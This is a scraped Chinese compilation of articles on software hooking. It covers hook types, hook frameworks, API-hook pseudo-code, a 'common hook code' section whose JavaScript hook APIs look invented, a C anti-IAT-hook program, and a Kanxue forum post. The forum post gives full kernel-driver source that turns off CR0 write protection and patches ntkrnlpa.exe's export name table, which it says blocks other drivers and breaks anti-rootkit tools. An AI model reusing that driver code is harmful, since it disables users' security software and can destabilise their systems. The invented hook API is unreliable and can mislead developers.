KANXUE IAT HOOK

合集下载

hook方法的通俗解释

hook方法的通俗解释

hook方法的通俗解释
"hook"方法通常是指在编程中用于改变或扩展现有代码行为的
一种技术。

它通常用于软件开发中的插件或扩展机制中,允许开发
人员在不修改原始代码的情况下,通过在特定的“hook”点插入自
定义代码来改变程序的行为。

具体来说,当一个程序在特定的事件发生时会触发一个“hook”点,开发人员可以注册他们自己的函数或代码到这个“hook”点上。

这样,当该事件发生时,注册的代码就会被执行,从而改变了程序
的行为。

举个例子,假设有一个网页应用程序,当用户点击“提交”按
钮时,程序会触发一个“beforeSubmit”钩子。

开发人员可以注册
他们自己的函数到这个钩子上,用于在表单提交之前执行一些额外
的验证或处理逻辑。

这样,无需修改原始的提交按钮代码,就可以
通过“hook”方法来扩展其行为。

总的来说,"hook"方法是一种非常灵活的技术,可以帮助开发
人员在不破坏现有代码结构的情况下,对程序进行定制和扩展。


在软件开发中被广泛应用,能够提高代码的可维护性和可扩展性。

hook9大类

hook9大类

hook9⼤类HOOK技术主要分为两⼤类,⼀是内核层HOOK,⼀是⽤户层HOOK. ⽤户层HOOK也就是在ring3环境下hook kenerl32.dll、User3.dll、Gui32.dll、Advapi.dll等导出的函数。

⽽内核层HOOK就是HOOK只有ring0级别环境下才能操作写⼊改变的内核对象,例如SSDT系统服务描述符表等。

综合⽽⾔,主要有以下9种HOOK技术。

(1)消息钩⼦消息钩⼦是最常见的钩⼦之⼀,例如常见的键盘⿏标钩⼦,很多⽊马就是通过消息钩⼦获取密码的。

消息钩⼦是由Win32⼦系统提供,⽤户通过它注册全局钩⼦。

当系统获取某些事件,⽐如⽤户按键,键盘driver将扫描码等传⼊win32k的KeyEvent处理函数,处理函数判断有⽆相应hook,有则通过回调函数处理。

此时,系统取得Hook对象信息,若⽬标进程没有装载对应的Dll,则装载之。

(2)IAT HOOKIAT HOOK[4]是最常见和普遍的HOOK之⼀。

IAT表⽰导⼊地址表(Import Address Table),导⼊函数就是被程序调⽤但其执⾏代码⼜不在程序中的函数,当PE ⽂件被装⼊内存的时候,Windows 装载器才将DLL 装⼊,并将调⽤导⼊函数的指令和函数实际所处的地址联系起来(动态连接),这种操作就需要导⼊表完成。

其中导⼊地址表就指⽰函数实际地址。

程序每个调⽤的API 函数地址都保存在 IAT 表中,⽽每个调⽤ API 函数的 CALL 指令所使⽤的地址都是相应函数登记在 IAT 表的地址。

IATHOOK原理是在将 IAT 表中的地址换成⽤户⾃⼰的函数地址,这样每个 API 调⽤都是先调⽤⽤户⾃⼰的函数。

在这个函数中我们可以完成函数名称的记录、参数的记录、调⽤原来的过程,并在返回时记录结果。

(3)EAT HOOKEAT HOOK的原理是根据替换 PE 格式导出表中的相应函数来实现的。

EAT表⽰导出地址表(Export Address Table),EAT存在于PE⽂件中的edata节,保存了可执⾏⽂件(如DLL ⽂件)的导出的可供其他模块来调⽤的函数和公共变量,包括函数名称和地址等。

常用hook框架

常用hook框架

常用hook框架什么是常用的hook框架?为什么要使用hook框架?有哪些常用的hook框架?这些hook框架各有什么特点和优势?如何使用这些常用的hook框架?接下来,我将逐一回答这些问题,并为你提供相关的详细信息。

首先,我们来了解一下什么是常用的hook框架。

Hook框架是一种软件工程技术,用于在软件系统的运行时动态地修改、扩展或增强其功能。

它允许开发者在不改变原有代码的情况下,通过拦截和修改函数调用或事件的方式,对系统行为进行定制和控制。

常用的hook框架提供了一组API,开发者可以使用这些API来定义自己的拦截逻辑,实现特定的功能扩展或改进。

为什么要使用hook框架?使用hook框架的好处在于它能够帮助我们快速、灵活地定制系统功能。

使用hook框架,我们不必修改系统源代码,而是通过动态拦截和修改代码执行流程,达到自己想要的效果。

这种方式具有一定的安全性,不会破坏原有功能,也不会引入潜在的风险。

另外,使用hook框架还可以提高代码的可维护性,因为我们只需关注自己添加的代码逻辑,而不必关心系统的底层实现。

接下来,让我们看一下一些常用的hook框架。

1. Xposed Framework:Xposed Framework是一个非常著名的hook 框架,广泛应用于Android系统。

它通过修改Android系统的ART或Dalvik虚拟机运行时环境,在应用程序加载过程中动态地替换、修改Java类的方法。

Xposed Framework具有灵活、易用、无需重启设备等优势,非常适合进行Android应用的定制和扩展。

2. Frida:Frida是一款功能强大的跨平台hook框架,支持Windows、macOS、Linux、iOS和Android等多个操作系统。

Frida提供了JavaScript API,可以通过动态注入和执行JavaScript代码来拦截和修改目标进程的函数调用、日志输出等,实现各种功能扩展和调试操作。

hook技术原理

hook技术原理

Hook技术是一种用于拦截API函数调用的技术,它通过修改系统API函数的内存地址,从而拦截系统函数的调用,实现对系统API函数的拦截和修改。

Hook技术的基本原理是将系统API函数的内存地址指向一个用户定义的函数,而不是指向实际的API函数。

当调用系统API函数时,系统将调用用户定义的函数,而不是原来的函数。

这样就可以实现对系统API函数的拦截和修改。

Hook技术的实现步骤如下:
1、首先,程序员需要查找和定位需要拦截的API函数的内存地址。

2、然后,程序员需要编写用户定义的函数,用来拦截和修改系统API函数的调用。

3、接着,程序员需要将系统API函数的内存地址指向用户定义的函数,从而实现API函数的拦截。

4、最后,程序员需要将系统API函数的原始内存地址保存起来,以便在不再需要拦截时,可以恢复原来的API函数调用行为。

Hook技术是一种强大的技术,可以用来实现各种功能,比如拦截软件的调用,拦截软件的输入输出,拦截系统函数的调用等。

Hook技术也可以用来实现防病毒,反垃圾邮件,防恶意程序,实现软件保护以及实现自定义控件等功能。

陷阱式APIHook的原理及其在截取串口数据中的应用

陷阱式APIHook的原理及其在截取串口数据中的应用

2024/9/29
8
NewCreateFile(文件名){ 还原CreateFile; Handle = CreateFile(文件名); 修改CreateFile; if(文件名==“COM2”) 保存Handle到共享内存变量ComHandle中
}
2024/9/29
9
NewWriteFile(文件句柄,数据){ if(文件句柄=ComHandle) 修改“数据”
GetMsgProc(){ }
2
目的进程载入 DLPSLIB.dll
(寄生程序)
同步修改ReadFile跳
转到NewReadFile
NewReadFile(){ }
2024/9/29
DLPSLIB.dll
目的进程载入dll时, dll就已经成为其一
部分了
SetDIPSHook{ SetWindowsHookEx(…)
2024/9/29
6
……
调用 Call ReadFile
1
……
4
自定义函数
NewReadFile(){ 还原ReadFile 调用ReadFile 修改ReadFile
ret
}
被劫持函数 ReadFile(){
……
2
ret
3
}
2024/9/29
……
调用 Call ReadFile
1
……
9
自定义函数 NewReadFile(){
1
……
9
自定义函数 NewReadFile(){
call ShadowReadFile(); 3
}
8
ShadowyReadFile(){
影子函数

art hook 框架原理

art hook 框架原理

Art Hook框架的原理主要基于Java反射和代理技术。

在Java层,它实现了一个方法,并在JNI(Java Native Interface)层替换了这个方法的结构指针。

这样的设计使得在运行时可以动态地修改和替换Java类的方法,实现了一种类似于“钩子”的功能。

Art Hook框架通常用于Android平台上,用于在运行时修改和扩展Java类的行为。

由于Android平台使用的是ART(Android Runtime)作为运行时环境,因此得名Art Hook。

具体来说,Art Hook框架通过在JNI层替换Java方法的结构指针,使得当Java 方法被调用时,实际上执行的是被替换后的代码。

这样,开发者就可以在运行时动态地修改Java类的行为,实现一些特殊的功能,比如方法拦截、性能监控、动态调试等。

需要注意的是,Art Hook框架的使用需要一定的技术基础和对Android平台运行机制的理解。

同时,由于它涉及到对底层运行机制的修改,因此在使用时需要谨慎,避免对系统造成不稳定或安全问题。

另外,Art Hook框架的原理和实现方式可能会随着Android平台的更新而发生变化。

因此,在使用时需要根据具体的Android版本和平台进行调整和优化。

常用的hook代码总结

常用的hook代码总结

常用的hook代码总结在JavaScript等编程语言中,Hook是一种非常重要的概念,它允许我们在特定点插入自定义代码,从而实现对程序行为的定制。

在许多框架和库中,Hook都发挥着重要的作用。

本文将总结一些常用的Hook代码,帮助您更好地理解和使用这些技术。

1.**BEFORE_ACTIONHook**BEFORE_ACTIONHook是在执行某个动作之前触发的一个钩子。

它通常用于在删除、更新或创建数据之前进行一些必要的检查或准备。

例如,在一个用户删除自己的帖子时,可能会使用BEFORE_ACTIONHook 来检查用户是否真的想删除该帖子。

代码示例:```javascripthooks.beforeAction=function(){//执行一些必要的操作,比如检查权限或准备数据};```2.**USE_LOADED_MODULEHook**当一个模块被加载后,USE_LOADED_MODULEHook会被触发。

这个钩子通常用于在模块被加载后执行一些操作,比如初始化数据或触发其他钩子。

代码示例:```javascripteLoadedModule=function(module){//在模块被加载后执行的操作};```3.**WILL_RENDERHook**WILL_RENDERHook在视图渲染之前触发。

它通常用于执行一些只在渲染时需要的操作,比如加载额外的数据或配置视图。

代码示例:```javascripthooks.willRender=function(context){//只在渲染时执行的代码};```4.**POST_PROCESSINGHook**POST_PROCESSINGHook在数据处理完成后触发。

它通常用于对处理后的数据进行一些额外的操作,比如格式化或缓存。

代码示例:```javascripthooks.postProcessing=function(data){//对处理后的数据进行额外操作};```这些只是一些常用的Hook代码示例,实际上还有很多其他的Hook类型和用法。

如何对抗IAT Hook附源程序(转)

如何对抗IAT Hook附源程序(转)

绕过IAT Hook的方法。

处理一下可以恢复InlineHook。

:m44:// 小伟的小伟//转载请保留出处。

//获取函数的原始地址,以此绕过IAT Hook//原理:读取文件,从导出表里面弄偏移,然后加上加载基址即可。

//参考文献:《加密与解密第三版》,也就是我学习PE结构的书。

//当初通过潜龙收购,可惜。

#include <windows.h>#include <stdio.h>#include <imagehlp.h>#pragma comment(lib,"imagehlp")typedef int (WINAPI *pfnMessageBoxA)(HWND hWnd,LPCSTR lpText,LPCSTR lpCaption,UINT uType);//函数原型pfnMessageBoxA OrigMessageBoxA = NULL;//保存原始函数地址LPVOID RvaToPtr(PIMAGE_NT_HEADERS pNtH,LPVOID ImageBase,DWORD dwRVA);//转化成文件偏移DWORD GetOrigMessageBoxAAddress();//获取函数原始地址int main(int argc, char* argv[]){printf("AntiIATHook Demo\nBy XiaoWei[0GiNr]\n");printf("\n");printf("\n");printf("/zoo%%5F\n\n");OrigMessageBoxA = (pfnMessageBoxA)GetOrigMessageBoxAAddress();printf("OrigMessageBoxA = 0x%08lX\n",OrigMessageBoxA);OrigMessageBoxA(0,"0GiNr","0GiNr",0);getchar();return 0;}LPVOID RvaToPtr(PIMAGE_NT_HEADERS pNtH,LPVOID ImageBase,DWORD dwRVA){return ImageRvaToVa(pNtH,ImageBase,dwRVA,NULL);}DWORD GetOrigMessageBoxAAddress(){LPVOID lpBass = NULL;HANDLE hMapFile = NULL;HANDLE hFile = NULL;PIMAGE_DOS_HEADER pDH = NULL;PIMAGE_NT_HEADERS pNH = NULL;PIMAGE_OPTIONAL_HEADER pOH = NULL;PIMAGE_EXPORT_DIRECTORY pED = NULL;DWORD dwDataStartRVA = 0;PDWORD pdwRvas, pdwNames;PWORD pwOrds;UINT iNumOfName;char *szFuncName;int i,j;HMODULE hUser32;DWORD dwRetAddr;//////////////////////////////////////////////////////////////////////////::LoadLibraryA("user32.dll");//load一下。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

标题:【原创】利用导出表来禁止一些驱动程序的加载作者:Sysnap时间: 2008-04-05,00:28:44链接: /showthread.php?t=62531今天再弄导出表时,发现修改,发现修改ntkrnlpa.exe导入表里AdressOfNames指向的的数组里面的函数名可以达到禁止一些驱动程序加载的目的,比如把PsGetCurrentProcessId改成其他名字,这样一些驱动程序如果想调用这个函数就不成功了,这样驱动程序就加载失败...试了几个anti-rootkit,冰刃等都不能正常运行,,,,呵呵代码如下#include "ntddk.h"#include "hookiat.h"#pragma comment(lib,"ntdll.lib")PVOID GetDriverBaseAdress(char* driverName){ULONG size,index;PULONG buf;NTSTATUS status;PSYSTEM_MODULE_INFORMATION module;PVOID driverAddress=0;ZwQuerySystemInformation(SystemModuleInformation,&size, 0, &size);if(NULL==(buf = (PULONG)ExAllocatePool(PagedPool, size))){DbgPrint("failed alloc memory failed \n");return 0;}status=ZwQuerySystemInformation(SystemModuleInformation,buf, size , 0);if(!NT_SUCCESS( status )){DbgPrint("failed query\n");return 0;}module = (PSYSTEM_MODULE_INFORMATION)(( PULONG )buf + 1);for (index = 0; index < *buf; index++)if (_stricmp(module[index].ImageName + module[index].ModuleNameOffset, driverName) == 0){driverAddress = module[index].Base;DbgPrint("Module found at:%x\n",driverAddress);}ExFreePool(buf);return driverAddress;}PVOID CreateMapFileAndReturnBaseAddress(PUNICODE_STRING pDriverName) {HANDLE hFile;HANDLE hSection;char *pszModName;PVOID MapFileBaseAddress = NULL;SIZE_T size=0;IO_STATUS_BLOCK stataus;OBJECT_ATTRIBUTES oa ;InitializeObjectAttributes(&oa,pDriverName,OBJ_CASE_INSENSITIVE,0,);ZwOpenFile(&hFile,FILE_EXECUTE | SYNCHRONIZE,&oa,&stataus,FILE_SHARE_READ,FILE_SYNCHRONOUS_IO_NONALERT);oa.ObjectName = 0;ZwCreateSection(&hSection,SECTION_ALL_ACCESS,&oa,0,PAGE_EXECUTE,SEC_IMAGE,hFile);ZwMapViewOfSection(hSection,PsGetCurrentProcessId(),&MapFileBaseAddress,0,1024,0,&size,ViewShare,MEM_TOP_DOWN,PAGE_READWRITE);ZwClose(hFile);DbgPrint("baseadress:%x\n",MapFileBaseAddress);return MapFileBaseAddress;}DWORD GetpAddressOfNames(IN PCSTR funName){HANDLE hMod;PVOID BaseAddress = NULL;IMAGE_DOS_HEADER * dosheader;IMAGE_OPTIONAL_HEADER * opthdr;PIMAGE_EXPORT_DIRECTORY exports;ULONG addr, i , index ;PVOID FuncNameRVA;PUCHAR pFuncName = NULL;PULONG pAddressOfFunctions,pAddressOfNames,pAddressOfNameOrdinals;UNICODE_STRING driverName;RtlInitUnicodeString(&driverName, L"\\Device\\HarddiskVolume1\\Windows\\System32\\ntkrnlpa.exe"); BaseAddress= CreateMapFileAndReturnBaseAddress(&driverName);DbgPrint("Map BaseAddress is:%x\n",BaseAddress);hMod = BaseAddress;//定位IMAGE_EXport_DESCRIPTOR pDataEntryAddress是导出表的RAVdosheader = (IMAGE_DOS_HEADER *)hMod;opthdr =(IMAGE_OPTIONAL_HEADER *) ((BYTE*)hMod+dosheader->e_lfanew+24);exports = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)dosheader+ opthdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_E XPORT].VirtualAddress);pAddressOfFunctions=(ULONG*)((BYTE*)hMod+exports->AddressOfFunctions);pAddressOfNames=(ULONG*)((BYTE*)hMod+exports->AddressOfNames); //指向的函数名称地址表的第一项pAddressOfNameOrdinals=(ULONG*)((BYTE*)hMod+exports->AddressOfNameOrdinals); //指向函数名序号表的RVA //下面的先别加,编译一下,输出了1483,也就是导出了1483个函数,用Dependency walker查看,也是这个数,那说明我们前面的工作没问题DbgPrint("%\n",exports->NumberOfNames);for (i = 0; i < exports->NumberOfNames; i++){pFuncName = (PUCHAR)( (BYTE*)hMod + pAddressOfNames[i]);if (_stricmp( (char*)pFuncName,funName) == 0){DbgPrint("%s is found !!\n",pFuncName);break;}}return pAddressOfNames[i];}NTSTATUSMyPsGetCurrentProcessId(){DbgPrint("HOOK_PsGetCurrentProcessId called!\n");}VOID Unload(PDRIVER_OBJECT DriverObject){DbgPrint("Unload Callled\n");}NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING str) {ULONG FuncRav;DWORD base = NULL;PCSTR myfunName= "PsGetCurrentProcessId";base = GetDriverBaseAdress("ntkrnlpa.exe");if(NULL==base){DbgPrint("base not found");return STATUS_SUCCESS;}DbgPrint("ntoskrnl.exe is found at:%x\n",base);FuncRav=GetpAddressOfNames(myfunName);DbgPrint("pAddressOfNames[i] is :%x\n",FuncRav);_asm{CLIMOV EAX, CR0AND EAX, NOT 10000HMOV CR0, EAX}*(PVOID*) ( base + FuncRav ) = MyPsGetCurrentProcessId;DbgPrint("HOOK SUCESS");_asm{MOV EAX, CR0OR EAX, 10000HMOV CR0, EAXSTI}DriverObject->DriverUnload = Unload;return STATUS_SUCCESS;}效果是这样::::。

相关文档
最新文档